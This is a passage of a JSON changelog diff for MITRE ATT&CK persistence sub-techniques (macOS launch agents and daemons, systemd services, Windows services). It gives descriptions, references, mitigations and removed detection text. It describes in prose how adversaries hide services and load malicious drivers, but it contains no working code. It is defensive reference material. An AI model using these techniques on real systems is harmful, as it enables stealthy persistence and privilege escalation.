installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. \\n-\\n-Command-line invocation of tools capable of modifying services may be unusual, depending on how systems are typically used in a particular environment. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. \\n-\\n-Monitor for changes to files associated with system-level processes.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1022: Restrict File and Directory Permissions", + "M1026: Privileged Account Management", + "M1028: Operating System Configuration", + "M1033: Limit Software Installation", + "M1040: Behavior Prevention on Endpoint", + "M1045: Code Signing", + "M1047: Audit", + "M1054: Software Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0019: Service (Service Creation)", + "DS0019: Service (Service Modification)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)", + "DS0024: Windows Registry (Windows Registry Key Creation)", + "DS0024: Windows Registry (Windows Registry Key Modification)", + "DS0027: Driver (Driver Load)", + "DS0032: Container (Container Creation)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0571: Detection of System Process Creation or Modification Across Platforms" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-17 16:10:58.592000+00:00", + "modified": "2025-10-24 17:49:25.367000+00:00", + "name": "Launch Agent", + "description": "Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in /System/Library/LaunchAgents, /Library/LaunchAgents, and ~/Library/LaunchAgents.(Citation: AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware) Property list files use the Label, ProgramArguments , and RunAtLoad keys to identify the Launch Agent's name, executable location, and execution time.(Citation: OSX.Dok Malware) Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.\n\n Launch Agents can also be executed using the [Launchctl](https://attack.mitre.org/techniques/T1569/001) command.\n \nAdversaries may install a new Launch Agent that executes at login by placing a .plist file into the appropriate folders with the RunAtLoad or KeepAlive keys set to true.(Citation: Sofacy Komplex Trojan)(Citation: Methods of Mac Malware Persistence) The Launch Agent name may be disguised by using a name from the related operating system or benign software. Launch Agents are created with user level privileges and execute with user level permissions.(Citation: OSX Malware Detection)(Citation: OceanLotus for OS X) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1543/001", + "external_id": "T1543.001" + }, + { + "source_name": "AppleDocs Launch Agent Daemons", + "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.", + "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html" + }, + { + "source_name": "Sofacy Komplex Trojan", + "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" + }, + { + "source_name": "OceanLotus for OS X", + "description": "Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.", + "url": "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update" + }, + { + "source_name": "OSX Keydnap malware", + "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.", + "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/" + }, + { + "source_name": "Methods of Mac Malware Persistence", + "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.", + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" + }, + { + "source_name": "OSX Malware Detection", + "description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved November 17, 2024.", + "url": "https://papers.put.as/papers/macosx/2016/RSA_OSX_Malware.pdf" + }, + { + "source_name": "Antiquated Mac Malware", + "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.", + "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/" + }, + { + "source_name": "OSX.Dok Malware", + "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.", + "url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Antonio Piazza, @antman1p" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.5", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"Service: Service Modification\", \"File: File Creation\", \"Service: Service Creation\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:25.367000+00:00\", \"old_value\": \"2025-04-15 19:59:10.035000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor Launch Agent creation through additional plist files and utilities such as Objective-See\\u2019s KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications.\\n\\nEnsure Launch Agent's ProgramArguments key pointing to executables located in the /tmp or /shared folders are in alignment with enterprise policy. Ensure all Launch Agents with the RunAtLoad key set to true are in alignment with policy. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor Launch Agent creation through additional plist files and utilities such as Objective-See\\u2019s KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications.\\n-\\n-Ensure Launch Agent's ProgramArguments key pointing to executables located in the /tmp or /shared folders are in alignment with enterprise policy. Ensure all Launch Agents with the RunAtLoad key set to true are in alignment with policy. \"}}}", + "previous_version": "1.5", + "changelog_mitigations": { + "shared": [ + "M1022: Restrict File and Directory Permissions" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0017: Command (Command Execution)", + "DS0019: Service (Service Creation)", + "DS0019: Service (Service Modification)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0434: Detection of Launch Agent Creation or Modification on macOS" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-17 19:23:15.227000+00:00", + "modified": "2025-10-24 17:48:49.387000+00:00", + "name": "Launch Daemon", + "description": "Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS. Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction. During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in /System/Library/LaunchDaemons/ and /Library/LaunchDaemons/. Required Launch Daemons parameters include a Label to identify the task, Program to provide a path to the executable, and RunAtLoad to specify when the task is run. Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks.(Citation: AppleDocs Launch Agent Daemons)(Citation: Methods of Mac Malware Persistence)(Citation: launchd Keywords for plists)\n\nAdversaries may install a Launch Daemon configured to execute at startup by using the RunAtLoad parameter set to true and the Program parameter set to the malicious executable path. The daemon name may be disguised by using a name from a related operating system or benign software (i.e. [Masquerading](https://attack.mitre.org/techniques/T1036)). When the Launch Daemon is executed, the program inherits administrative permissions.(Citation: WireLurker)(Citation: OSX Malware Detection)\n\nAdditionally, system configuration changes (such as the installation of third party package managing software) may cause folders such as usr/local/bin to become globally writeable. So, it is possible for poor configurations to allow an adversary to modify executables referenced by current Launch Daemon's plist files.(Citation: LaunchDaemon Hijacking)(Citation: sentinelone macos persist Jun 2019)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1543/004", + "external_id": "T1543.004" + }, + { + "source_name": "AppleDocs Launch Agent Daemons", + "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.", + "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html" + }, + { + "source_name": "LaunchDaemon Hijacking", + "description": "Bradley Kemp. (2021, May 10). LaunchDaemon Hijacking: privilege escalation and persistence via insecure folder permissions. Retrieved July 26, 2021.", + "url": "https://bradleyjkemp.dev/post/launchdaemon-hijacking/" + }, + { + "source_name": "WireLurker", + "description": "Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.", + "url": "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf" + }, + { + "source_name": "launchd Keywords for plists", + "description": "Dennis German. (2020, November 20). launchd Keywords for plists. Retrieved October 7, 2021.", + "url": "https://www.real-world-systems.com/docs/launchdPlist.1.html" + }, + { + "source_name": "Methods of Mac Malware Persistence", + "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.", + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" + }, + { + "source_name": "OSX Malware Detection", + "description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved November 17, 2024.", + "url": "https://papers.put.as/papers/macosx/2016/RSA_OSX_Malware.pdf" + }, + { + "source_name": "sentinelone macos persist Jun 2019", + "description": "Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019.", + "url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"File: File Creation\", \"File: File Modification\", \"Service: Service Modification\", \"Command: Command Execution\", \"Service: Service Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:49.387000+00:00\", \"old_value\": \"2025-04-15 19:58:33.604000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for new files added to the /Library/LaunchDaemons/ folder. The System LaunchDaemons are protected by SIP.\\n\\nSome legitimate LaunchDaemons point to unsigned code that could be exploited. For Launch Daemons with the RunAtLoad parameter set to true, ensure the Program parameter points to signed code or executables are in alignment with enterprise policy. Some parameters are interchangeable with others, such as Program and ProgramArguments parameters but one must be present.(Citation: launchd Keywords for plists)\\n\\n\", \"diff\": \"--- \\n+++ \\n@@ -1,4 +0,0 @@\\n-Monitor for new files added to the /Library/LaunchDaemons/ folder. The System LaunchDaemons are protected by SIP.\\n-\\n-Some legitimate LaunchDaemons point to unsigned code that could be exploited. For Launch Daemons with the RunAtLoad parameter set to true, ensure the Program parameter points to signed code or executables are in alignment with enterprise policy. Some parameters are interchangeable with others, such as Program and ProgramArguments parameters but one must be present.(Citation: launchd Keywords for plists)\\n-\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0019: Service (Service Creation)", + "DS0019: Service (Service Modification)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0401: Detection Strategy for Launch Daemon Creation or Modification (macOS)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--dfefe2ed-4389-4318-8762-f0272b350a1b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-17 16:15:19.870000+00:00", + "modified": "2025-10-24 17:49:29.942000+00:00", + "name": "Systemd Service", + "description": "Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. Systemd is a system and service manager commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014) Systemd is the default initialization (init) system on many Linux distributions replacing legacy init systems, including SysVinit and Upstart, while remaining backwards compatible. \n\nSystemd utilizes unit configuration files with the `.service` file extension to encode information about a service's process. By default, system level unit files are stored in the `/systemd/system` directory of the root owned directories (`/`). User level unit files are stored in the `/systemd/user` directories of the user owned directories (`$HOME`).(Citation: lambert systemd 2022) \n\nInside the `.service` unit files, the following directives are used to execute commands:(Citation: freedesktop systemd.service) \n\n* `ExecStart`, `ExecStartPre`, and `ExecStartPost` directives execute when a service is started manually by `systemctl` or on system start if the service is set to automatically start.\n* `ExecReload` directive executes when a service restarts. \n* `ExecStop`, `ExecStopPre`, and `ExecStopPost` directives execute when a service is stopped. \n\nAdversaries have created new service files, altered the commands a `.service` file\u2019s directive executes, and modified the user directive a `.service` file executes as, which could result in privilege escalation. Adversaries may also place symbolic links in these directories, enabling systemd to find these payloads regardless of where they reside on the filesystem.(Citation: Anomali Rocke March 2019)(Citation: airwalk backdoor unix systems)(Citation: Rapid7 Service Persistence 22JUNE2016) \n\nThe `.service` file\u2019s User directive can be used to run service as a specific user, which could result in privilege escalation based on specific user/group permissions. \n\nSystemd services can be created via systemd generators, which support the dynamic generation of unit files. Systemd generators are small executables that run during boot or configuration reloads to dynamically create or modify systemd unit files by converting non-native configurations into services, symlinks, or drop-ins (i.e., [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037)).(Citation: Elastic Security Labs Linux Persistence 2024)(Citation: Pepe Berba Systemd 2022)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1543/002", + "external_id": "T1543.002" + }, + { + "source_name": "airwalk backdoor unix systems", + "description": "airwalk. (2023, January 1). A guide to backdooring Unix systems. Retrieved May 31, 2023.", + "url": "http://www.ouah.org/backdoors.html" + }, + { + "source_name": "Anomali Rocke March 2019", + "description": "Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019.", + "url": "https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang" + }, + { + "source_name": "freedesktop systemd.service", + "description": "Free Desktop. (n.d.). systemd.service \u2014 Service unit configuration. Retrieved March 20, 2023.", + "url": "https://www.freedesktop.org/software/systemd/man/systemd.service.html" + }, + { + "source_name": "Linux man-pages: systemd January 2014", + "description": "Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019.", + "url": "http://man7.org/linux/man-pages/man1/systemd.1.html" + }, + { + "source_name": "Pepe Berba Systemd 2022", + "description": "Pepe Berba. (2022, February 7). Hunting for Persistence in Linux (Part 5): Systemd Generators. Retrieved April 8, 2025.", + "url": "https://pberba.github.io/security/2022/02/07/linux-threat-hunting-for-persistence-systemd-generators/" + }, + { + "source_name": "Berba hunting linux systemd", + "description": "Pepe Berba. (2022, January 30). Hunting for Persistence in Linux (Part 3): Systemd, Timers, and Cron. Retrieved March 20, 2023.", + "url": "https://pberba.github.io/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/" + }, + { + "source_name": "Rapid7 Service Persistence 22JUNE2016", + "description": "Rapid7. (2016, June 22). Service Persistence. Retrieved April 23, 2019.", + "url": "https://www.rapid7.com/db/modules/exploit/linux/local/service_persistence" + }, + { + "source_name": "Elastic Security Labs Linux Persistence 2024", + "description": "Ruben Groenewoud. (2024, August 20). Linux Detection Engineering - A primer on persistence mechanisms. Retrieved March 18, 2025.", + "url": "https://www.elastic.co/security-labs/primer-on-persistence-mechanisms" + }, + { + "source_name": "lambert systemd 2022", + "description": "Tony Lambert. (2022, November 13). ATT&CK T1501: Understanding systemd service persistence. Retrieved March 20, 2023.", + "url": "https://redcanary.com/blog/attck-t1501-understanding-systemd-service-persistence/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Tony Lambert, Red Canary", + "Emad Al-Mousa, Saudi Aramco", + "Tim (Wadhwa-)Brown", + "Ruben Groenewoud (@RFGroenewoud)" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.6", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"File: File Modification\", \"Service: Service Creation\", \"Service: Service Modification\", \"Process: Process Creation\", \"File: File Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:29.942000+00:00\", \"old_value\": \"2025-04-15 19:59:14.487000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor file creation and modification events of Systemd service unit configuration files in the default directory locations for `root` & `user` level permissions. Suspicious processes or scripts spawned in this manner will have a parent process of \\u2018systemd\\u2019, a parent process ID of 1, and will usually execute as the `root` user.(Citation: lambert systemd 2022) \\n\\nSuspicious systemd services can also be identified by comparing results against a trusted system baseline. Malicious systemd services may be detected by using the systemctl utility to examine system wide services: `systemctl list-units -\\u2013type=service \\u2013all`. Analyze the contents of `.service` files present on the file system and ensure that they refer to legitimate, expected executables, and symbolic links.(Citation: Berba hunting linux systemd)\\n\\nAuditing the execution and command-line arguments of the `systemctl` utility, as well related utilities such as `/usr/sbin/service` may reveal malicious systemd service execution.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Monitor file creation and modification events of Systemd service unit configuration files in the default directory locations for `root` & `user` level permissions. Suspicious processes or scripts spawned in this manner will have a parent process of \\u2018systemd\\u2019, a parent process ID of 1, and will usually execute as the `root` user.(Citation: lambert systemd 2022) \\n-\\n-Suspicious systemd services can also be identified by comparing results against a trusted system baseline. Malicious systemd services may be detected by using the systemctl utility to examine system wide services: `systemctl list-units -\\u2013type=service \\u2013all`. Analyze the contents of `.service` files present on the file system and ensure that they refer to legitimate, expected executables, and symbolic links.(Citation: Berba hunting linux systemd)\\n-\\n-Auditing the execution and command-line arguments of the `systemctl` utility, as well related utilities such as `/usr/sbin/service` may reveal malicious systemd service execution.\"}}}", + "previous_version": "1.6", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1022: Restrict File and Directory Permissions", + "M1026: Privileged Account Management", + "M1033: Limit Software Installation" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0019: Service (Service Creation)", + "DS0019: Service (Service Modification)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0253: Detection of Systemd Service Creation or Modification on Linux" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-17 19:13:50.402000+00:00", + "modified": "2025-10-24 17:48:33.408000+00:00", + "name": "Windows Service", + "description": "Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.\n\nAdversaries may install a new service or modify an existing service to execute at startup in order to persist on a system. Service configurations can be set or modified using system utilities (such as sc.exe), by directly modifying the Registry, or by interacting directly with the Windows API. \n\nAdversaries may also use services to install and execute malicious drivers. For example, after dropping a driver file (ex: `.sys`) to disk, the payload can be loaded and registered via [Native API](https://attack.mitre.org/techniques/T1106) functions such as `CreateServiceW()` (or manually via functions such as `ZwLoadDriver()` and `ZwSetValueKey()`), by creating the required service Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)), or by using command-line utilities such as `PnPUtil.exe`.(Citation: Symantec W.32 Stuxnet Dossier)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: Unit42 AcidBox June 2020) Adversaries may leverage these drivers as [Rootkit](https://attack.mitre.org/techniques/T1014)s to hide the presence of malicious activity on a system. Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as \"Bring Your Own Vulnerable Driver\" (BYOVD)) as part of [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020)\n\nServices may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1569/002).\n\nTo make detection analysis more challenging, malicious services may also incorporate [Masquerade Task or Service](https://attack.mitre.org/techniques/T1036/004) (ex: using a service and/or payload name related to a legitimate OS or benign software component). Adversaries may also create \u2018hidden\u2019 services (i.e., [Hide Artifacts](https://attack.mitre.org/techniques/T1564)), for example by using the `sc sdset` command to set service permissions via the Service Descriptor Definition Language (SDDL). This may hide a Windows service from the view of standard service enumeration methods such as `Get-Service`, `sc query`, and `services.exe`.(Citation: SANS 1)(Citation: SANS 2)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1543/003", + "external_id": "T1543.003" + }, + { + "source_name": "Microsoft Windows Event Forwarding FEB 2018", + "description": "Hardy, T. & Hall, J. (2018, February 15). Use Windows Event Forwarding to help with intrusion detection. Retrieved August 7, 2018.", + "url": "https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection" + }, + { + "source_name": "ESET InvisiMole June 2020", + "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf" + }, + { + "source_name": "SANS 1", + "description": "Joshua Wright. (2020, October 13). Retrieved March 22, 2024.", + "url": "https://www.sans.org/blog/red-team-tactics-hiding-windows-services/" + }, + { + "source_name": "SANS 2", + "description": "Joshua Wright. (2020, October 14). Retrieved March 22, 2024.", + "url": "https://www.sans.org/blog/defense-spotlight-finding-hidden-windows-services/" + }, + { + "source_name": "TechNet Services", + "description": "Microsoft. (n.d.). Services. Retrieved June 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc772408.aspx" + }, + { + "source_name": "Microsoft 4697 APR 2017", + "description": "Miroshnikov, A. & Hall, J. (2017, April 18). 4697(S): A service was installed in the system. Retrieved August 7, 2018.", + "url": "https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697" + }, + { + "source_name": "Symantec W.32 Stuxnet Dossier", + "description": "Nicolas Falliere, Liam O. Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier. Retrieved December 7, 2020.", + "url": "https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf" + }, + { + "source_name": "Unit42 AcidBox June 2020", + "description": "Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021.", + "url": "https://unit42.paloaltonetworks.com/acidbox-rare-malware/" + }, + { + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902" + }, + { + "source_name": "Crowdstrike DriveSlayer February 2022", + "description": "Thomas, W. et al. (2022, February 25). CrowdStrike Falcon Protects from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved March 25, 2022.", + "url": "https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Matthew Demaske, Adaptforward", + "Pedro Harrison", + "Mayuresh Dani, Qualys", + "Wietze Beukema, @wietze", + "Akshat Pradhan, Qualys", + "Wirapong Petshagun" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.6", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Windows Registry: Windows Registry Key Modification\", \"Process: Process Creation\", \"Network Traffic: Network Traffic Flow\", \"Service: Service Creation\", \"Command: Command Execution\", \"File: File Metadata\", \"Windows Registry: Windows Registry Key Creation\", \"Driver: Driver Load\", \"Service: Service Modification\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:33.408000+00:00\", \"old_value\": \"2025-04-15 19:58:16.076000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor processes and command-line arguments for actions that could create or modify services. Command-line invocation of tools capable of adding or modifying services may be unusual, depending on how systems are typically used in a particular environment. Services may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data. Remote access tools with built-in features may also interact directly with the Windows API to perform these functions outside of typical system utilities. Collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute commands or scripts. \\n\\nLook for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Service information is stored in the Registry at HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence.(Citation: TechNet Autoruns) \\n\\nCreation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045 (Citation: Microsoft 4697 APR 2017)(Citation: Microsoft Windows Event Forwarding FEB 2018)). New, benign services may be created during installation of new software.\\n\\nSuspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\", \"diff\": \"--- \\n+++ \\n@@ -1,7 +0,0 @@\\n-Monitor processes and command-line arguments for actions that could create or modify services. Command-line invocation of tools capable of adding or modifying services may be unusual, depending on how systems are typically used in a particular environment. Services may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data. Remote access tools with built-in features may also interact directly with the Windows API to perform these functions outside of typical system utilities. Collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute commands or scripts. \\n-\\n-Look for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Service information is stored in the Registry at HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be 